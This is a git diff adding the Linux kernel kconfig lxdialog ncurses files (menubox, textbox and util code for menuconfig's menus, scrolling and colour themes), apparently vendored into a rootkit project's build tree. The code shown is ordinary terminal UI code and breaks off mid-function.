value would get used. + */ + +#include "dialog.h" + +static int menu_width, item_x; + +/* + * Print menu item + */ +static void do_print_item(WINDOW * win, const char *item, int line_y, + int selected, int hotkey) +{ + int j; + char *menu_item = malloc(menu_width + 1); + + strncpy(menu_item, item, menu_width - item_x); + menu_item[menu_width - item_x] = '\0'; + j = first_alpha(menu_item, "YyNnMmHh"); + + /* Clear 'residue' of last item */ + wattrset(win, dlg.menubox.atr); + wmove(win, line_y, 0); +#if OLD_NCURSES + { + int i; + for (i = 0; i < menu_width; i++) + waddch(win, ' '); + } +#else + wclrtoeol(win); +#endif + wattrset(win, selected ? dlg.item_selected.atr : dlg.item.atr); + mvwaddstr(win, line_y, item_x, menu_item); + if (hotkey) { + wattrset(win, selected ? dlg.tag_key_selected.atr + : dlg.tag_key.atr); + mvwaddch(win, line_y, item_x + j, menu_item[j]); + } + if (selected) { + wmove(win, line_y, item_x + 1); + } + free(menu_item); + wrefresh(win); +} + +#define print_item(index, choice, selected) \ +do { \ + item_set(index); \ + do_print_item(menu, item_str(), choice, selected, !item_is_tag(':')); \ +} while (0) + +/* + * Print the scroll indicators. + */ +static void print_arrows(WINDOW * win, int item_no, int scroll, int y, int x, + int height) +{ + int cur_y, cur_x; + + getyx(win, cur_y, cur_x); + + wmove(win, y, x); + + if (scroll > 0) { + wattrset(win, dlg.uarrow.atr); + waddch(win, ACS_UARROW); + waddstr(win, "(-)"); + } else { + wattrset(win, dlg.menubox.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + y = y + height + 1; + wmove(win, y, x); + wrefresh(win); + + if ((height < item_no) && (scroll + height < item_no)) { + wattrset(win, dlg.darrow.atr); + waddch(win, ACS_DARROW); + waddstr(win, "(+)"); + } else { + wattrset(win, dlg.menubox_border.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + wmove(win, cur_y, cur_x); + wrefresh(win); +} + +/* + * Display the termination buttons. + */ +static void print_buttons(WINDOW * win, int height, int width, int selected) +{ + int x = width / 2 - 28; + int y = height - 2; + + print_button(win, gettext("Select"), y, x, selected == 0); + print_button(win, gettext(" Exit "), y, x + 12, selected == 1); + print_button(win, gettext(" Help "), y, x + 24, selected == 2); + print_button(win, gettext(" Save "), y, x + 36, selected == 3); + print_button(win, gettext(" Load "), y, x + 48, selected == 4); + + wmove(win, y, x + 1 + 12 * selected); + wrefresh(win); +} + +/* scroll up n lines (n may be negative) */ +static void do_scroll(WINDOW *win, int *scroll, int n) +{ + /* Scroll menu up */ + scrollok(win, TRUE); + wscrl(win, n); + scrollok(win, FALSE); + *scroll = *scroll + n; + wrefresh(win); +} + +/* + * Display a menu for choosing among a number of options + */ +int dialog_menu(const char *title, const char *prompt, + const void *selected, int *s_scroll) +{ + int i, j, x, y, box_x, box_y; + int height, width, menu_height; + int key = 0, button = 0, scroll = 0, choice = 0; + int first_item = 0, max_choice; + WINDOW *dialog, *menu; + +do_resize: + height = getmaxy(stdscr); + width = getmaxx(stdscr); + if (height < MENUBOX_HEIGTH_MIN || width < MENUBOX_WIDTH_MIN) + return -ERRDISPLAYTOOSMALL; + + height -= 4; + width -= 5; + menu_height = height - 10; + + max_choice = MIN(menu_height, item_count()); + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + wbkgdset(dialog, dlg.dialog.atr & A_COLOR); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + menu_width = width - 6; + box_y = height - menu_height - 5; + box_x = (width - menu_width) / 2 - 1; + + /* create new window for the menu */ + menu = subwin(dialog, menu_height, menu_width, + y + box_y + 1, x + box_x + 1); + keypad(menu, TRUE); + + /* draw a box around the menu items */ + draw_box(dialog, box_y, box_x, menu_height + 2, menu_width + 2, + dlg.menubox_border.atr, dlg.menubox.atr); + + if (menu_width >= 80) + item_x = (menu_width - 70) / 2; + else + item_x = 4; + + /* Set choice to default item */ + item_foreach() + if (selected && (selected == item_data())) + choice = item_n(); + /* get the saved scroll info */ + scroll = *s_scroll; + if ((scroll <= choice) && (scroll + max_choice > choice) && + (scroll >= 0) && (scroll + max_choice <= item_count())) { + first_item = scroll; + choice = choice - scroll; + } else { + scroll = 0; + } + if ((choice >= max_choice)) { + if (choice >= item_count() - max_choice / 2) + scroll = first_item = item_count() - max_choice; + else + scroll = first_item = choice - max_choice / 2; + choice = choice - scroll; + } + + /* Print the menu */ + for (i = 0; i < max_choice; i++) { + print_item(first_item + i, i, i == choice); + } + + wnoutrefresh(menu); + + print_arrows(dialog, item_count(), scroll, + box_y, box_x + item_x + 1, menu_height); + + print_buttons(dialog, height, width, 0); + wmove(menu, choice, item_x + 1); + wrefresh(menu); + + while (key != KEY_ESC) { + key = wgetch(menu); + + if (key < 256 && isalpha(key)) + key = tolower(key); + + if (strchr("ynmh ", key)) + i = max_choice; + else { + for (i = choice + 1; i < max_choice; i++) { + item_set(scroll + i); + j = first_alpha(item_str(), "YyNnMmHh"); + if (key == tolower(item_str()[j])) + break; + } + if (i == max_choice) + for (i = 0; i < max_choice; i++) { + item_set(scroll + i); + j = first_alpha(item_str(), "YyNnMmHh"); + if (key == tolower(item_str()[j])) + break; + } + } + + if (item_count() != 0 && + (i < max_choice || + key == KEY_UP || key == KEY_DOWN || + key == '-' || key == '+' || + key == KEY_PPAGE || key == KEY_NPAGE)) { + /* Remove highligt of current item */ + print_item(scroll + choice, choice, FALSE); + + if (key == KEY_UP || key == '-') { + if (choice < 2 && scroll) { + /* Scroll menu down */ + do_scroll(menu, &scroll, -1); + + print_item(scroll, 0, FALSE); + } else + choice = MAX(choice - 1, 0); + + } else if (key == KEY_DOWN || key == '+') { + print_item(scroll+choice, choice, FALSE); + + if ((choice > max_choice - 3) && + (scroll + max_choice < item_count())) { + /* Scroll menu up */ + do_scroll(menu, &scroll, 1); + + print_item(scroll+max_choice - 1, + max_choice - 1, FALSE); + } else + choice = MIN(choice + 1, max_choice - 1); + + } else if (key == KEY_PPAGE) { + scrollok(menu, TRUE); + for (i = 0; (i < max_choice); i++) { + if (scroll > 0) { + do_scroll(menu, &scroll, -1); + print_item(scroll, 0, FALSE); + } else { + if (choice > 0) + choice--; + } + } + + } else if (key == KEY_NPAGE) { + for (i = 0; (i < max_choice); i++) { + if (scroll + max_choice < item_count()) { + do_scroll(menu, &scroll, 1); + print_item(scroll+max_choice-1, + max_choice - 1, FALSE); + } else { + if (choice + 1 < max_choice) + choice++; + } + } + } else + choice = i; + + print_item(scroll + choice, choice, TRUE); + + print_arrows(dialog, item_count(), scroll, + box_y, box_x + item_x + 1, menu_height); + + wnoutrefresh(dialog); + wrefresh(menu); + + continue; /* wait for another key press */ + } + + switch (key) { + case KEY_LEFT: + case TAB: + case KEY_RIGHT: + button = ((key == KEY_LEFT ? --button : ++button) < 0) + ? 4 : (button > 4 ? 0 : button); + + print_buttons(dialog, height, width, button); + wrefresh(menu); + break; + case ' ': + case 's': + case 'y': + case 'n': + case 'm': + case '/': + case 'h': + case '?': + case 'z': + case '\n': + /* save scroll info */ + *s_scroll = scroll; + delwin(menu); + delwin(dialog); + item_set(scroll + choice); + item_set_selected(1); + switch (key) { + case 'h': + case '?': + return 2; + case 's': + case 'y': + return 5; + case 'n': + return 6; + case 'm': + return 7; + case ' ': + return 8; + case '/': + return 9; + case 'z': + return 10; + case '\n': + return button; + } + return 0; + case 'e': + case 'x': + key = KEY_ESC; + break; + case KEY_ESC: + key = on_key_esc(menu); + break; + case KEY_RESIZE: + on_key_resize(); + delwin(menu); + delwin(dialog); + goto do_resize; + } + } + delwin(menu); + delwin(dialog); + return key; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/textbox.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/textbox.c new file mode 100644 index 0000000..1773319 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/textbox.c @@ -0,0 +1,408 @@ +/* + * textbox.c -- implements the text box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "dialog.h" + +static void back_lines(int n); +static void print_page(WINDOW *win, int height, int width, update_text_fn + update_text, void *data); +static void print_line(WINDOW *win, int row, int width); +static char *get_line(void); +static void print_position(WINDOW * win); + +static int hscroll; +static int begin_reached, end_reached, page_length; +static char *buf; +static char *page; + +/* + * refresh window content + */ +static void refresh_text_box(WINDOW *dialog, WINDOW *box, int boxh, int boxw, + int cur_y, int cur_x, update_text_fn update_text, + void *data) +{ + print_page(box, boxh, boxw, update_text, data); + print_position(dialog); + wmove(dialog, cur_y, cur_x); /* Restore cursor position */ + wrefresh(dialog); +} + + +/* + * Display text from a file in a dialog box. + * + * keys is a null-terminated array + * update_text() may not add or remove any '\n' or '\0' in tbuf + */ +int dialog_textbox(const char *title, char *tbuf, int initial_height, + int initial_width, int *keys, int *_vscroll, int *_hscroll, + update_text_fn update_text, void *data) +{ + int i, x, y, cur_x, cur_y, key = 0; + int height, width, boxh, boxw; + WINDOW *dialog, *box; + bool done = false; + + begin_reached = 1; + end_reached = 0; + page_length = 0; + hscroll = 0; + buf = tbuf; + page = buf; /* page is pointer to start of page to be displayed */ + + if (_vscroll && *_vscroll) { + begin_reached = 0; + + for (i = 0; i < *_vscroll; i++) + get_line(); + } + if (_hscroll) + hscroll = *_hscroll; + +do_resize: + getmaxyx(stdscr, height, width); + if (height < TEXTBOX_HEIGTH_MIN || width < TEXTBOX_WIDTH_MIN) + return -ERRDISPLAYTOOSMALL; + if (initial_height != 0) + height = initial_height; + else + if (height > 4) + height -= 4; + else + height = 0; + if (initial_width != 0) + width = initial_width; + else + if (width > 5) + width -= 5; + else + width = 0; + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + /* Create window for box region, used for scrolling text */ + boxh = height - 4; + boxw = width - 2; + box = subwin(dialog, boxh, boxw, y + 1, x + 1); + wattrset(box, dlg.dialog.atr); + wbkgdset(box, dlg.dialog.atr & A_COLOR); + + keypad(box, TRUE); + + /* register the new window, along with its borders */ + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + wbkgdset(dialog, dlg.dialog.atr & A_COLOR); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + print_button(dialog, gettext(" Exit "), height - 2, width / 2 - 4, TRUE); + wnoutrefresh(dialog); + getyx(dialog, cur_y, cur_x); /* Save cursor position */ + + /* Print first page of text */ + attr_clear(box, boxh, boxw, dlg.dialog.atr); + refresh_text_box(dialog, box, boxh, boxw, cur_y, cur_x, update_text, + data); + + while (!done) { + key = wgetch(dialog); + switch (key) { + case 'E': /* Exit */ + case 'e': + case 'X': + case 'x': + case 'q': + case '\n': + done = true; + break; + case 'g': /* First page */ + case KEY_HOME: + if (!begin_reached) { + begin_reached = 1; + page = buf; + refresh_text_box(dialog, box, boxh, boxw, + cur_y, cur_x, update_text, + data); + } + break; + case 'G': /* Last page */ + case KEY_END: + + end_reached = 1; + /* point to last char in buf */ + page = buf + strlen(buf); + back_lines(boxh); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case 'K': /* Previous line */ + case 'k': + case KEY_UP: + if (begin_reached) + break; + + back_lines(page_length + 1); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case 'B': /* Previous page */ + case 'b': + case 'u': + case KEY_PPAGE: + if (begin_reached) + break; + back_lines(page_length + boxh); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case 'J': /* Next line */ + case 'j': + case KEY_DOWN: + if (end_reached) + break; + + back_lines(page_length - 1); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case KEY_NPAGE: /* Next page */ + case ' ': + case 'd': + if (end_reached) + break; + + begin_reached = 0; + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case '0': /* Beginning of line */ + case 'H': /* Scroll left */ + case 'h': + case KEY_LEFT: + if (hscroll <= 0) + break; + + if (key == '0') + hscroll = 0; + else + hscroll--; + /* Reprint current page to scroll horizontally */ + back_lines(page_length); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case 'L': /* Scroll right */ + case 'l': + case KEY_RIGHT: + if (hscroll >= MAX_LEN) + break; + hscroll++; + /* Reprint current page to scroll horizontally */ + back_lines(page_length); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case KEY_ESC: + if (on_key_esc(dialog) == KEY_ESC) + done = true; + break; + case KEY_RESIZE: + back_lines(height); + delwin(box); + delwin(dialog); + on_key_resize(); + goto do_resize; + default: + for (i = 0; keys[i]; i++) { + if (key == keys[i]) { + done = true; + break; + } + } + } + } + delwin(box); + delwin(dialog); + if (_vscroll) { + const char *s; + + s = buf; + *_vscroll = 0; + back_lines(page_length); + while (s < page && (s = strchr(s, '\n'))) { + (*_vscroll)++; + s++; + } + } + if (_hscroll) + *_hscroll = hscroll; + return key; +} + +/* + * Go back 'n' lines in text. Called by dialog_textbox(). + * 'page' will be updated to point to the desired line in 'buf'. + */ +static void back_lines(int n) +{ + int i; + + begin_reached = 0; + /* Go back 'n' lines */ + for (i = 0; i < n; i++) { + if (*page == '\0') { + if (end_reached) { + end_reached = 0; + continue; + } + } + if (page == buf) { + begin_reached = 1; + return; + } + page--; + do { + if (page == buf) { + begin_reached = 1; + return; + } + page--; + } while (*page != '\n'); + page++; + } +} + +/* + * Print a new page of text. + */ +static void print_page(WINDOW *win, int height, int width, update_text_fn + update_text, void *data) +{ + int i, passed_end = 0; + + if (update_text) { + char *end; + + for (i = 0; i < height; i++) + get_line(); + end = page; + back_lines(height); + update_text(buf, page - buf, end - buf, data); + } + + page_length = 0; + for (i = 0; i < height; i++) { + print_line(win, i, width); + if (!passed_end) + page_length++; + if (end_reached && !passed_end) + passed_end = 1; + } + wnoutrefresh(win); +} + +/* + * Print a new line of text. + */ +static void print_line(WINDOW * win, int row, int width) +{ + char *line; + + line = get_line(); + line += MIN(strlen(line), hscroll); /* Scroll horizontally */ + wmove(win, row, 0); /* move cursor to correct line */ + waddch(win, ' '); + waddnstr(win, line, MIN(strlen(line), width - 2)); + + /* Clear 'residue' of previous line */ +#if OLD_NCURSES + { + int x = getcurx(win); + int i; + for (i = 0; i < width - x; i++) + waddch(win, ' '); + } +#else + wclrtoeol(win); +#endif +} + +/* + * Return current line of text. Called by dialog_textbox() and print_line(). + * 'page' should point to start of current line before calling, and will be + * updated to point to start of next line. + */ +static char *get_line(void) +{ + int i = 0; + static char line[MAX_LEN + 1]; + + end_reached = 0; + while (*page != '\n') { + if (*page == '\0') { + end_reached = 1; + break; + } else if (i < MAX_LEN) + line[i++] = *(page++); + else { + /* Truncate lines longer than MAX_LEN characters */ + if (i == MAX_LEN) + line[i++] = '\0'; + page++; + } + } + if (i <= MAX_LEN) + line[i] = '\0'; + if (!end_reached) + page++; /* move past '\n' */ + + return line; +} + +/* + * Print current position + */ +static void print_position(WINDOW * win) +{ + int percent; + + wattrset(win, dlg.position_indicator.atr); + wbkgdset(win, dlg.position_indicator.atr & A_COLOR); + percent = (page - buf) * 100 / strlen(buf); + wmove(win, getmaxy(win) - 3, getmaxx(win) - 9); + wprintw(win, "(%3d%%)", percent); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/util.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/util.c new file mode 100644 index 0000000..58a8289 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/util.c @@ -0,0 +1,713 @@ +/* + * util.c + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include + +#include "dialog.h" + +/* Needed in signal handler in mconf.c */ +int saved_x, saved_y; + +struct dialog_info dlg; + +static void set_mono_theme(void) +{ + dlg.screen.atr = A_NORMAL; + dlg.shadow.atr = A_NORMAL; + dlg.dialog.atr = A_NORMAL; + dlg.title.atr = A_BOLD; + dlg.border.atr = A_NORMAL; + dlg.button_active.atr = A_REVERSE; + dlg.button_inactive.atr = A_DIM; + dlg.button_key_active.atr = A_REVERSE; + dlg.button_key_inactive.atr = A_BOLD; + dlg.button_label_active.atr = A_REVERSE; + dlg.button_label_inactive.atr = A_NORMAL; + dlg.inputbox.atr = A_NORMAL; + dlg.inputbox_border.atr = A_NORMAL; + dlg.searchbox.atr = A_NORMAL; + dlg.searchbox_title.atr = A_BOLD; + dlg.searchbox_border.atr = A_NORMAL; + dlg.position_indicator.atr = A_BOLD; + dlg.menubox.atr = A_NORMAL; + dlg.menubox_border.atr = A_NORMAL; + dlg.item.atr = A_NORMAL; + dlg.item_selected.atr = A_REVERSE; + dlg.tag.atr = A_BOLD; + dlg.tag_selected.atr = A_REVERSE; + dlg.tag_key.atr = A_BOLD; + dlg.tag_key_selected.atr = A_REVERSE; + dlg.check.atr = A_BOLD; + dlg.check_selected.atr = A_REVERSE; + dlg.uarrow.atr = A_BOLD; + dlg.darrow.atr = A_BOLD; +} + +#define DLG_COLOR(dialog, f, b, h) \ +do { \ + dlg.dialog.fg = (f); \ + dlg.dialog.bg = (b); \ + dlg.dialog.hl = (h); \ +} while (0) + +static void set_classic_theme(void) +{ + DLG_COLOR(screen, COLOR_CYAN, COLOR_BLUE, true); + DLG_COLOR(shadow, COLOR_BLACK, COLOR_BLACK, true); + DLG_COLOR(dialog, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(title, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(border, COLOR_WHITE, COLOR_WHITE, true); + DLG_COLOR(button_active, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(button_inactive, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(button_key_active, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(button_key_inactive, COLOR_RED, COLOR_WHITE, false); + DLG_COLOR(button_label_active, COLOR_YELLOW, COLOR_BLUE, true); + DLG_COLOR(button_label_inactive, COLOR_BLACK, COLOR_WHITE, true); + DLG_COLOR(inputbox, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(inputbox_border, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(searchbox, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(searchbox_title, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(searchbox_border, COLOR_WHITE, COLOR_WHITE, true); + DLG_COLOR(position_indicator, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(menubox, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(menubox_border, COLOR_WHITE, COLOR_WHITE, true); + DLG_COLOR(item, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(item_selected, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(tag, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(tag_selected, COLOR_YELLOW, COLOR_BLUE, true); + DLG_COLOR(tag_key, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(tag_key_selected, COLOR_YELLOW, COLOR_BLUE, true); + DLG_COLOR(check, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(check_selected, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(uarrow, COLOR_GREEN, COLOR_WHITE, true); + DLG_COLOR(darrow, COLOR_GREEN, COLOR_WHITE, true); +} + +static void set_blackbg_theme(void) +{ + DLG_COLOR(screen, COLOR_RED, COLOR_BLACK, true); + DLG_COLOR(shadow, COLOR_BLACK, COLOR_BLACK, false); + DLG_COLOR(dialog, COLOR_WHITE, COLOR_BLACK, false); + DLG_COLOR(title, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(border, COLOR_BLACK, COLOR_BLACK, true); + + DLG_COLOR(button_active, COLOR_YELLOW, COLOR_RED, false); + DLG_COLOR(button_inactive, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(button_key_active, COLOR_YELLOW, COLOR_RED, true); + DLG_COLOR(button_key_inactive, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(button_label_active, COLOR_WHITE, COLOR_RED, false); + DLG_COLOR(button_label_inactive, COLOR_BLACK, COLOR_BLACK, true); + + DLG_COLOR(inputbox, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(inputbox_border, COLOR_YELLOW, COLOR_BLACK, false); + + DLG_COLOR(searchbox, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(searchbox_title, COLOR_YELLOW, COLOR_BLACK, true); + DLG_COLOR(searchbox_border, COLOR_BLACK, COLOR_BLACK, true); + + DLG_COLOR(position_indicator, COLOR_RED, COLOR_BLACK, false); + + DLG_COLOR(menubox, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(menubox_border, COLOR_BLACK, COLOR_BLACK, true); + + DLG_COLOR(item, COLOR_WHITE, COLOR_BLACK, false); + DLG_COLOR(item_selected, COLOR_WHITE, COLOR_RED, false); + + DLG_COLOR(tag, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(tag_selected, COLOR_YELLOW, COLOR_RED, true); + DLG_COLOR(tag_key, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(tag_key_selected, COLOR_YELLOW, COLOR_RED, true); + + DLG_COLOR(check, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(check_selected, COLOR_YELLOW, COLOR_RED, true); + + DLG_COLOR(uarrow, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(darrow, COLOR_RED, COLOR_BLACK, false); +} + +static void set_bluetitle_theme(void) +{ + set_classic_theme(); + DLG_COLOR(title, COLOR_BLUE, COLOR_WHITE, true); + DLG_COLOR(button_key_active, COLOR_YELLOW, COLOR_BLUE, true); + DLG_COLOR(button_label_active, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(searchbox_title, COLOR_BLUE, COLOR_WHITE, true); + DLG_COLOR(position_indicator, COLOR_BLUE, COLOR_WHITE, true); + DLG_COLOR(tag, COLOR_BLUE, COLOR_WHITE, true); + DLG_COLOR(tag_key, COLOR_BLUE, COLOR_WHITE, true); + +} + +/* + * Select color theme + */ +static int set_theme(const char *theme) +{ + int use_color = 1; + if (!theme) + set_bluetitle_theme(); + else if (strcmp(theme, "classic") == 0) + set_classic_theme(); + else if (strcmp(theme, "bluetitle") == 0) + set_bluetitle_theme(); + else if (strcmp(theme, "blackbg") == 0) + set_blackbg_theme(); + else if (strcmp(theme, "mono") == 0) + use_color = 0; + + return use_color; +} + +static void init_one_color(struct dialog_color *color) +{ + static int pair = 0; + + pair++; + init_pair(pair, color->fg, color->bg); + if (color->hl) + color->atr = A_BOLD | COLOR_PAIR(pair); + else + color->atr = COLOR_PAIR(pair); +} + +static void init_dialog_colors(void) +{ + init_one_color(&dlg.screen); + init_one_color(&dlg.shadow); + init_one_color(&dlg.dialog); + init_one_color(&dlg.title); + init_one_color(&dlg.border); + init_one_color(&dlg.button_active); + init_one_color(&dlg.button_inactive); + init_one_color(&dlg.button_key_active); + init_one_color(&dlg.button_key_inactive); + init_one_color(&dlg.button_label_active); + init_one_color(&dlg.button_label_inactive); + init_one_color(&dlg.inputbox); + init_one_color(&dlg.inputbox_border); + init_one_color(&dlg.searchbox); + init_one_color(&dlg.searchbox_title); + init_one_color(&dlg.searchbox_border); + init_one_color(&dlg.position_indicator); + init_one_color(&dlg.menubox); + init_one_color(&dlg.menubox_border); + init_one_color(&dlg.item); + init_one_color(&dlg.item_selected); + init_one_color(&dlg.tag); + init_one_color(&dlg.tag_selected); + init_one_color(&dlg.tag_key); + init_one_color(&dlg.tag_key_selected); + init_one_color(&dlg.check); + init_one_color(&dlg.check_selected); + init_one_color(&dlg.uarrow); + init_one_color(&dlg.darrow); +} + +/* + * Setup for color display + */ +static void color_setup(const char *theme) +{ + int use_color; + + use_color = set_theme(theme); + if (use_color && has_colors()) { + start_color(); + init_dialog_colors(); + } else + set_mono_theme(); +} + +/* + * Set window to attribute 'attr' + */ +void attr_clear(WINDOW * win, int height, int width, chtype attr) +{ + int i, j; + + wattrset(win, attr); + for (i = 0; i < height; i++) { + wmove(win, i, 0); + for (j = 0; j < width; j++) + waddch(win, ' '); + } + touchwin(win); +} + +void dialog_clear(void) +{ + int lines, columns; + + lines = getmaxy(stdscr); + columns = getmaxx(stdscr); + + attr_clear(stdscr, lines, columns, dlg.screen.atr); + /* Display background title if it exists ... - SLH */ + if (dlg.backtitle != NULL) { + int i, len = 0, skip = 0; + struct subtitle_list *pos; + + wattrset(stdscr, dlg.screen.atr); + mvwaddstr(stdscr, 0, 1, (char *)dlg.backtitle); + + for (pos = dlg.subtitles; pos != NULL; pos = pos->next) { + /* 3 is for the arrow and spaces */ + len += strlen(pos->text) + 3; + } + + wmove(stdscr, 1, 1); + if (len > columns - 2) { + const char *ellipsis = "[...] "; + waddstr(stdscr, ellipsis); + skip = len - (columns - 2 - strlen(ellipsis)); + } + + for (pos = dlg.subtitles; pos != NULL; pos = pos->next) { + if (skip == 0) + waddch(stdscr, ACS_RARROW); + else + skip--; + + if (skip == 0) + waddch(stdscr, ' '); + else + skip--; + + if (skip < strlen(pos->text)) { + waddstr(stdscr, pos->text + skip); + skip = 0; + } else + skip -= strlen(pos->text); + + if (skip == 0) + waddch(stdscr, ' '); + else + skip--; + } + + for (i = len + 1; i < columns - 1; i++) + waddch(stdscr, ACS_HLINE); + } + wnoutrefresh(stdscr); +} + +/* + * Do some initialization for dialog + */ +int init_dialog(const char *backtitle) +{ + int height, width; + + initscr(); /* Init curses */ + + /* Get current cursor position for signal handler in mconf.c */ + getyx(stdscr, saved_y, saved_x); + + getmaxyx(stdscr, height, width); + if (height < WINDOW_HEIGTH_MIN || width < WINDOW_WIDTH_MIN) { + endwin(); + return -ERRDISPLAYTOOSMALL; + } + + dlg.backtitle = backtitle; + color_setup(getenv("MENUCONFIG_COLOR")); + + keypad(stdscr, TRUE); + cbreak(); + noecho(); + dialog_clear(); + + return 0; +} + +void set_dialog_backtitle(const char *backtitle) +{ + dlg.backtitle = backtitle; +} + +void set_dialog_subtitles(struct subtitle_list *subtitles) +{ + dlg.subtitles = subtitles; +} + +/* + * End using dialog functions. + */ +void end_dialog(int x, int y) +{ + /* move cursor back to original position */ + move(y, x); + refresh(); + endwin(); +} + +/* Print the title of the dialog. Center the title and truncate + * tile if wider than dialog (- 2 chars). + **/ +void print_title(WINDOW *dialog, const char *title, int width) +{ + if (title) { + int tlen = MIN(width - 2, strlen(title)); + wattrset(dialog, dlg.title.atr); + mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' '); + mvwaddnstr(dialog, 0, (width - tlen)/2, title, tlen); + waddch(dialog, ' '); + } +} + +/* + * Print a string of text in a window, automatically wrap around to the + * next line if the string is too long to fit on one line. Newline + * characters '\n' are propperly processed. We start on a new line + * if there is no room for at least 4 nonblanks following a double-space. + */ +void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x) +{ + int newl, cur_x, cur_y; + int prompt_len, room, wlen; + char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0; + + strcpy(tempstr, prompt); + + prompt_len = strlen(tempstr); + + if (prompt_len <= width - x * 2) { /* If prompt is short */ + wmove(win, y, (width - prompt_len) / 2); + waddstr(win, tempstr); + } else { + cur_x = x; + cur_y = y; + newl = 1; + word = tempstr; + while (word && *word) { + sp = strpbrk(word, "\n "); + if (sp && *sp == '\n') + newline_separator = sp; + + if (sp) + *sp++ = 0; + + /* Wrap to next line if either the word does not fit, + or it is the first 